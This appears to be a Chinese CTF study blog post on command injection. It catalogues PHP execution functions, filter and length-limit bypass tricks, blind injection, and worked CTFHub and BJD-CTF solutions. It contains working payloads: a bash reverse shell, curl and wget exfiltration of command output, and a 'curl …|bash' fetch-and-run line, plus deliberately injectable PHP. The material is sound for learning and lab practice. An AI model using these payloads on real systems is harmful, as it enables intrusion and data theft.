Posted on 

命令执行

命令执行

目前了解的知识还有限,先简单总结一些有遇到过的
以后遇到新题目会补充

PHP命令执行

相关常见函数:
${php代码}
assert()
普通调用

1
<?php assert($_POST['a']);?>

动态调用

1
2
3
4
<?php
$a = 'assert';
$a($_POST['a']);
?>

注:php7.0.29后有改动

1
2
3
4
<?php
$a = 'assert';
$a(phpinfo());
?>

system()

1
system("ls -a");

shell_exec()

1
echo shell_exec("ls -a");

exec()

1
echo exec("ls -a");

eval(): 将字符串按照php代码来执行
shell_exec():执行shell命令并返回输出的字符串

1
eval("echo phpinfo();")

passthru 执行给定的命令,但是不返回任何输出结果,直接输出到显示设备上

1
void passthru (string command [, int return_var])

含有该漏洞的一些框架

较低版本的Struts2、ThinkPHP

常用绕过手段

分隔符

1
2
linux: %0a %0d ; & | && ||
windows: %0a & | %la
1
2
3
4
5
; ->从左到右连续执行命令
& ->简单拼接
&& -> "逻辑与",前面执行成功后面才会执行
| ->
|| ->"逻辑或" 前面失败,后面执行

绕过空格

${IFS}、${IFS}$9|、$IFS$9、%0a、<>

fuzz:%00~%ff

绕过敏感字符

拼接绕过

1
a=l;b=s;$a$b

trick:有时可以调整顺序绕过正则

借用已有字符 substr

1

$()执行代码

1
?shell=$a="xxx";$a("whoami");

base64编码绕过

1
2
3
4
5
6
7
[root@ ~]# echo 'cat' | base64
Y2F0Cg==
[root@ ~]# echo 'hello' > test.txt
[root@ ~]# cat test.txt
hello
[root@ ~]# `echo 'Y2F0Cg=='| base64 -d` test.txt
hello

绕过长度限制

七字符长度限制

例如要读取flag.php

1
2
3
4
5
6
7
8
9
>"hp\\"
>".p\\"
>"ag\\"
>"fl\\"
>"t+\\"
>"ca\\"

ls -t>_
sh _
1
> 重定向符

新建一个 xx\ 文件
ls -t按时间顺序将输出到名字叫_的文件中
sh 执行文件内容

五字符长度限制

1
2
3
4
5
6
7
8
9
10
11
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

像上面的命令中 ls -t>_是最长的长度,这里需要突破的就是构造这条

四字符长度限制

1
2
3
4
[root@izbp15j82tplbsbdrdv1kgz cmd]# ls
echo hello
[root@izbp15j82tplbsbdrdv1kgz cmd]# *
hello

这里*等同于echo hello,相当于把列出的第一个文件名当命令,第二个文件名当参数

要凑的命令是ls -th>g

这里要利用rev进行反转,所以在反转之前我们希望ls可以看到g>ht- sl,但是这里正常的字母顺序是g s t,因为希望t在前所以增加个参数h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
>dir
>sl
>g\>
>ht-

[root@izbp15j82tplbsbdrdv1kgz four]# ls
dir g> ht- sl
[root@izbp15j82tplbsbdrdv1kgz four]# * //此时相当于$(dir *)
g> ht- sl
[root@izbp15j82tplbsbdrdv1kgz four]# *>v //把 g> ht- sl写入文件v
[root@izbp15j82tplbsbdrdv1kgz four]# >rev //写一个文件rev
[root@izbp15j82tplbsbdrdv1kgz four]# ls //看看当前有啥
dir g> ht- rev sl v

[root@izbp15j82tplbsbdrdv1kgz four]# *v>x //这里利用了通配符*去匹配到了rev,这里就相当于 rev v>x

[root@izbp15j82tplbsbdrdv1kgz four]# cat x
ls -th >g
[root@izbp15j82tplbsbdrdv1kgz four]# sh x

[root@izbp15j82tplbsbdrdv1kgz four]# cat g
g
x
rev
v
ht-
g>
sl
dir

可以利用这个方式来写马和反弹shell

无回显命令注入

反弹shell

最基本的利用场景
(攻击机)vps上监听2333端口

1
nc -lvvp 2333

(靶机)kali上输入:

1
bash -i >& /dev/tcp/ip/port 0>&1

ip为vps的公网ip,port为开放的端口
攻击机getshell,获得靶机的控制权,靶机无法退出

HTTP外带

1
2
curl example.com/`whoami`
wget example.com/$(id|base64)

dnslog外带

ceye平台
在profile页可以看到属于自己的域名

根据平台上提供的payload,做简单实验
ceye.png
curl发起http请求
whoami被执行
ceye2.png
DNS Query可以带着执行结果回显

写入文件后再访问

1
?shell="ls > z"

命令盲注

主要是DASCTF五月赛web1感受到的考点,不通外网的无回显命令注入(一开始直接扫到flag真的震惊

一开始出现很多非预期,例如直接把flag重定向到某个文件中直接读

1
2
echo `cat /flag` > 1
cat 1

示例
bash1.png

预期解是命令盲注
(对Linux命令太陌生了,我晕)

1
grep -e "B" && sleep 5

布尔盲注

1
2
3
4
5
6
7
8
9
[root@ ~]# l$(whoami | cut -c 1 | tr a s)
-bash: lr: command not found
[root@ ~]# l$(whoami | cut -c 1 | tr r s)
命令成功执行

[root@ ~]# l$(whoami | cut -c 2 | tr r s)
-bash: lo: command not found
[root@ ~]# l$(whoami | cut -c 2 | tr o s)
命令成功执行

cut -c 1 提取结果的第一个字符

tr将a、r替换成s

时间盲注

1
2
3
sleep $(whoami | cut -c 1 | tr a 1)

sleep $(whoami | cut -c 1 | tr r 1)

和上面类似,若为r则延时1s

记一个不使用vps进行注入的博文(我也想做梦了)
https://www.cnblogs.com/blili/p/9045280.html

一些绕过WAF防火墙的tips

通配符绕过

1
2
3
/bin/ls

/???/?s

利用”空值”
在Linux的bash下有一些符号会被认为是空,可以用来绕过一些限制

1
\ 、 ''、$1~$n
1
2
3
l\s
l''s
l$1s

花括号扩展

1
2
3
4
[root@ ~]# echo a{b,c}
ab ac
[root@ ~]# {ls,./}
执行ls结果

CTF-Hub RCE

命令注入-无过滤

1
2
3
4
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
1
127.0.0.1|ls -a
1
2
3
4
5
6
7
Array
(
[0] => .
[1] => ..
[2] => 581882612214.php
[3] => index.php
)
1
127.0.0.1|cat 581882612214.php

F12就能看到

过滤cat

1
2
3
4
5
6
7
8
9
10
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}

127.0.0.1|ls
看到flagblabla.php

绕过cat的方法
单双引号+反斜杠

1
2
3
127.0.0.1|c'a't flag_314923142532007.php
127.0.0.1|c"a"t flag_314923142532007.php
127.0.0.1|c\a\t flag_314923142532007.php

过滤空格

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}?>

payload:

1
2
3
4
5
6
127.0.0.1|ls
127.0.0.1|cat$IFS$9flag_252091676416142.php
or
127.0.0.1|cat${IFS}flag_252091676416142.php
or
127.0.0.1|cat${IFS}$9flag_252091676416142.php

过滤目录分隔符

题目:

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}?>

payload

1
127.0.0.1|ls

这次flag是在一个目录之下

1
2
3
4
5
Array
(
[0] => flag_is_here
[1] => index.php
)
1
2
3
4
5
127.0.0.1|ls $IFS$9flag_is_here
or
127.0.0.1;cd flag_is_here;ls

127.0.0.1;cd flag_is_here;cat flag_15476372413684.php

过滤运算符

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}?>
1
2
127.0.0.1;ls
127.0.0.1;cat flag....php

。。。就这么过了?

综合过滤练习

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}?>

哦豁
payload
注意:这里使用%0a分割的时候要在url里,否则会被再次编码

1
2
3
4
?ip=127.0.0.1%0als
?ip=127.0.0.1%0acd${IFS}$f***_is_here%0amore${IFS}$f***
or
?ip=127.0.0.1%0acd${IFS}$f***_is_here%0a'ca't${IFS}$fl'a'g

还有base64转编码的方式没使用,下次一定

GXY-CTF PingPingPing

BJD-CTF duangshell

url/.index.php.swp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

好像都被禁得差不多了。。
应该是反弹shell

一开始很费解为什么弹不出来,后来发现没注意靶机无法连接外网。。所以开个小号启动个内部靶机

1
ifconfig

看ip

在靶机中写一个shell.txt

注:这题是要写在/var/www/html中

1
bash -i >& /dev/tcp/ip/2333 0>&1

在vps上

1
nc -lvvp 2333

POST:

1
girl_friend=curl 174.1.12.79/shell.txt|bash

参考:
http://wp.blkstone.me/2018/06/abusing-arbitrary-file-read/

https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/#%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87

https://www.tr0y.wang/2019/05/13/OS%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97

http://www.secist.com/archives/3854.html

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/8125#toc-2